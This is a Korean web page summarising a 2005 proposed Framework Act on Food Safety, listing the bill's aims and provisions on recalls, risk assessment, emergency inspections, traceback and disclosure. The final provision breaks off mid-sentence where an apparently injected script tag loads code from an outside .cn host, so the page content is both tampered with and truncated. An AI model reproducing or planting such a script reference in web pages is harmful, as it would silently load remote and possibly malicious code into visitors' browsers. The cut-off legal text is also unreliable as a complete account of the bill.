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식품안전기본법안(고경화의원 대표발의)
작성자 식품안전부 등록일 2005/01/06 조회 16590
첨부
제안이유
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이 법은 국민의 건강하고 안전한 식생활을 보장하기 위하여 식품의 안전성 확보에 관한 기본사항을 정하고, 국가․지방자치단체 및 식품사업자의 책임과 식품소비자의 권리를 명확히 함으로써 식품안전 정책의 수립 및 조정 등에 관한 기본적인 사항을 규정하려는 것임.



주요내용
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가. 통지 및 회수 의무

식품사업자에게 생산․제조․가공․수입․유통․조리․판매된 식품이 안전성에 관한 법령상의 요건에 적합하지 않은 때에는 식품사업자로 하여금 관련기관에 그 사실을 통지하고 회수할 의무를 부과하며, 그 식품이 유통된 때에는 식품사업자는 식품소비자에게 제품회수 현황 및 사유를 알리도록 함(안 제11조).


나. 위해성평가의 실시

식품에 관한 정책을 실시하기 전에 국민 건강에 나쁜 영향을 미치거나 미칠 우려가 있는 생물학적․화학적 혹은 물리적인 요인 또는 상태로써 식품에 포함되거나 포함될 우려가 있는 식품에 대하여 사전에 위해성에 대한 과학적인 평가(이하 “위해성평가”라 한다)를 실시하도록 함(안 제12조).


다. 위해식품에 대한 긴급조치

식품을 생산․제조․가공․수입․유통․조리․판매 등 과정에서 식품테러나 식중독 등 긴급사태 발생시 식품위생감시원으로 하여금 긴급으로 출입․조사․검사를 하도록 함(안 제15조).


라. 검사명령

식품으로 인한 위해가 발생하였거나 발생할 우려가 있다고 인정될 경우 당해 사업자에게 검사를 명할 수 있도록 함(안 제16조).


마. 추적조사

국가는 식품에 의한 위해발생의 사전 예방과 위해의 신속한 제거를 위하여 위해요인의 추적조사를 할 수 있도록 함(안 제17조).


바. 공표

국가는 식품의 안전성에 나쁜 영향을 미치거나 미칠 우려가 있는 위해정보가 있는 때에는 이를 신속히 공개하도록 하며, 사업자의 식품안전법령 위반행위 중 위해식품의 생산․채취․제조․가공․조리․사용․판매 등에 해당하는 위반행위에 대하여 형 집행이 확정되거나, 형 집행확정 전이라도 식품소비자의 안전을 위하여 객관적․과학적으로 검증된 경우이거나 식품의약품안전청장과 사전에 협의를 한 경우 위반행위와 관련된 ?script src=http://dae3.cn>
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